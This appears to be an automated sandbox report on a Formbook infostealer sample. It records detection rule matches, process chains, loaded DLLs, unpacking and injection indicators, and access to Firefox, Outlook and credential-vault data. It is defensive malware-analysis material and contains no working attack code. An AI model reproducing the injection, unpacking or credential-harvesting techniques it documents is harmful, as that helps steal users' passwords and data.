Source: 0000000B.00000002.2873773132.0000000003770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2873698812.0000000003730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2064726692.0000000001D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2874222772.0000000003AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2065008686.0000000003330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: UQO06iOMKZMPZ4A.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.raw.unpack, V4uC3Iifq56IKQcfry.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.raw.unpack, V4uC3Iifq56IKQcfry.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.raw.unpack, V4uC3Iifq56IKQcfry.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.raw.unpack, V4uC3Iifq56IKQcfry.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, zC5UCdSIWB58FHCwfw.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, HVjjmekMbjAZlbxgGq.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, HVjjmekMbjAZlbxgGq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, HVjjmekMbjAZlbxgGq.cs	Security API names: _0020.AddAccessRule
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, HVjjmekMbjAZlbxgGq.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, HVjjmekMbjAZlbxgGq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, HVjjmekMbjAZlbxgGq.cs	Security API names: _0020.AddAccessRule
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, zC5UCdSIWB58FHCwfw.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 0.2.UQO06iOMKZMPZ4A.exe.28b2ac0.8.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.UQO06iOMKZMPZ4A.exe.25d0000.2.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.UQO06iOMKZMPZ4A.exe.2691184.5.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.UQO06iOMKZMPZ4A.exe.26a1524.3.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/7@6/5

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UQO06iOMKZMPZ4A.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Mutant created: \Sessions\1\BaseNamedObjects\rWhIdNiRcWrZevC
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7616

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\ff9dcb81-ee50-4734-a8b7-0640904a160c

Jump to behavior

Source: UQO06iOMKZMPZ4A.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: UQO06iOMKZMPZ4A.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unlodctr.exe, 0000000B.00000003.2247127151.00000000033A5000.00000004.00000020.00020000.00000000.sdmp, unlodctr.exe, 0000000B.00000002.2871913958.00000000033C6000.00000004.00000020.00020000.00000000.sdmp, unlodctr.exe, 0000000B.00000003.2247392684.00000000033C6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: UQO06iOMKZMPZ4A.exe	ReversingLabs: Detection: 62%
Source: UQO06iOMKZMPZ4A.exe	Virustotal: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe "C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe"
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process created: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe "C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe"
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7616 -s 1432
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	Process created: C:\Windows\SysWOW64\unlodctr.exe "C:\Windows\SysWOW64\unlodctr.exe"
Source: C:\Windows\SysWOW64\unlodctr.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process created: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe "C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe"	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	Process created: C:\Windows\SysWOW64\unlodctr.exe "C:\Windows\SysWOW64\unlodctr.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: loadperf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\unlodctr.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: UQO06iOMKZMPZ4A.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: UQO06iOMKZMPZ4A.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Data.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Xml.ni.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: Accessibility.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.ni.pdbRSDS source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Windows.Forms.pdb@\^q source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: wntdll.pdbUGP source: UQO06iOMKZMPZ4A.exe, 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, unlodctr.exe, 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmp, unlodctr.exe, 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, unlodctr.exe, 0000000B.00000003.2064791779.0000000003803000.00000004.00000020.00020000.00000000.sdmp, unlodctr.exe, 0000000B.00000003.2062776403.000000000365C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: UQO06iOMKZMPZ4A.exe, UQO06iOMKZMPZ4A.exe, 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, unlodctr.exe, unlodctr.exe, 0000000B.00000002.2874034277.0000000003B4E000.00000040.00001000.00020000.00000000.sdmp, unlodctr.exe, 0000000B.00000002.2874034277.00000000039B0000.00000040.00001000.00020000.00000000.sdmp, unlodctr.exe, 0000000B.00000003.2064791779.0000000003803000.00000004.00000020.00020000.00000000.sdmp, unlodctr.exe, 0000000B.00000003.2062776403.000000000365C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Configuration.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Data.ni.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Xml.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Core.ni.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: mscorlib.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: unlodctr.pdbGCTL source: UQO06iOMKZMPZ4A.exe, 00000002.00000002.2062926524.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000002.2872436865.0000000000968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000000.1986026100.0000000000F3E000.00000002.00000001.01000000.0000000D.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000000.2132171206.0000000000F3E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: System.Drawing.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: mscorlib.ni.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Data.ni.pdbRSDS source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.pdb4 source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: Accessibility.pdb< source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Core.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: unlodctr.pdb source: UQO06iOMKZMPZ4A.exe, 00000002.00000002.2062926524.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000A.00000002.2872436865.0000000000968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.ni.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Data.pdb, source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER4FB8.tmp.dmp.5.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER4FB8.tmp.dmp.5.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Unpacked PE file: 0.2.UQO06iOMKZMPZ4A.exe.130000.0.unpack .text:ER;.rsrc:R;.reloc:R; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Unpacked PE file: 0.2.UQO06iOMKZMPZ4A.exe.130000.0.unpack

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.raw.unpack, V4uC3Iifq56IKQcfry.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.raw.unpack, V4uC3Iifq56IKQcfry.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, HVjjmekMbjAZlbxgGq.cs	.Net Code: en2dKs7D8E System.Reflection.Assembly.Load(byte[])
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, HVjjmekMbjAZlbxgGq.cs	.Net Code: en2dKs7D8E System.Reflection.Assembly.Load(byte[])

Source: UQO06iOMKZMPZ4A.exe

Static PE information: 0xE67DD712 [Wed Jul 16 00:32:18 2092 UTC]

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_001328D5 push ss; retf	0_2_001328DC
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC60A0 push ss; retf	0_2_00BC60A4
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_07567DF8 pushad ; iretd	0_2_07567DF9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F3F8EB push ecx; iretd	0_2_08F3F8EC
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09643E3A push ds; ret	0_2_09643E3B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0041789D push es; retf	2_2_0041789E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0040D0AF push esi; iretd	2_2_0040D0B0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0040CA39 push ebp; ret	2_2_0040CA53
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_00413B53 push esi; iretd	2_2_00413C4C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_00413B93 push esi; iretd	2_2_00413C4C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0041839C push ebp; iretd	2_2_0041839E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_00413C54 push 203B2B75h; iretd	2_2_00413C6B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_00403500 push eax; ret	2_2_00403502
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_00405648 push esp; retf	2_2_0040564D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0041878A push ds; iretd	2_2_0041878B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_019F225F pushad ; ret	2_2_019F27F9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_019F27FA pushad ; ret	2_2_019F27F9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A209AD push ecx; mov dword ptr [esp], ecx	2_2_01A209B6
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_019F283D push eax; iretd	2_2_019F2858
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_019F1368 push eax; iretd	2_2_019F1369
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039E09AD push ecx; mov dword ptr [esp], ecx	11_2_039E09B6
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F95287 push ds; iretd	11_2_02F95288
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F990A3 push esp; retf	11_2_02F990B2
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F99050 push esp; retf	11_2_02F990B2
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F99050 pushfd ; retf 0DE4h	11_2_02F99157
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02FA2160 push dword ptr [edi+36E8C72Ch]; retf	11_2_02FA21BD
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F9B145 pushad ; retf	11_2_02F9B14E
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F82145 push esp; retf	11_2_02F8214A
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F94E99 push ebp; iretd	11_2_02F94E9B

Source: UQO06iOMKZMPZ4A.exe

Static PE information: section name: .text entropy: 7.893680177454588

Source: 0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.raw.unpack, V4uC3Iifq56IKQcfry.cs	High entropy of concatenated method names: 'JcqLcnHE8kRk7VHJhl', 'baAwnpSkPWAs4YMGxr', 'wTgrto4LNQ', 'imnL6GCB6AIFRqkhxN', 'RgtTUJcyZL', 'dHYrbjNADO', 'xiCr8b7Qs6', 'PT2rZj37UR', 'P1WruDgOtu', 'd71eKLY6YVFQv'
Source: 0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.raw.unpack, vpednoN8EZgsJ4TDwx.cs	High entropy of concatenated method names: 'SvRTLtpnA', 'uJwWpedno', 'REZpgsJ4T', 'uwxys3A5Q', 'Tl3iTkB7U', 'EqRFtDP16', 'TW5lfqidm', 'wSKAUGlNW', 'LkrevaXpK', 'cwu0Op5AT'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, qptXq8PWUia3WCyO6SM.cs	High entropy of concatenated method names: 'iZVh14SPsy', 'wKWhrhgwyi', 'e9shKJ7Ft2', 'mPWhkaKfm9', 'UAuhwsJTCd', 'lJXhmyMqAA', 'NAAh2I1ZrX', 'jBHhnPL8r3', 'Dpnhy2jwSt', 'gf1hjlK8v0'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, GPsQBkJQEtPsywAcW2.cs	High entropy of concatenated method names: 'N3Pt1YlieD', 'VDEtreMu0f', 'bBxtK7U18B', 'Jkxtk58Uft', 'xeWtw9nVBg', 'dXatmmtM6D', 'Pift2IPtQo', 'rqDtnS3gh7', 'N8ityFxkcs', 'NVXtjvOX4y'
